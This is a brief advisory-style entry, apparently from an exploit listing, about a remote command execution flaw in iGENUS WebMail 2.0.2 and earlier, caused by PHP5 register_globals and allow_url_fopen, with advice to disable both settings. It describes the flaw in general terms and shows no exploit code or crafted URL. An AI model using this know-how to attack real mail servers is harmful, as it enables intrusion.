iGENUS WebMail <= 2.0.2 remote commads xctn

This exploit allows an attacker to execute arbitrary commands on a vulnerable iGENUS WebMail server. The vulnerability exists due to the use of register_globals and allow_url_fopen in PHP5. An attacker can use a specially crafted URL to execute arbitrary commands on the vulnerable server.

Mitigation:

Disable register_globals and allow_url_fopen in PHP5.
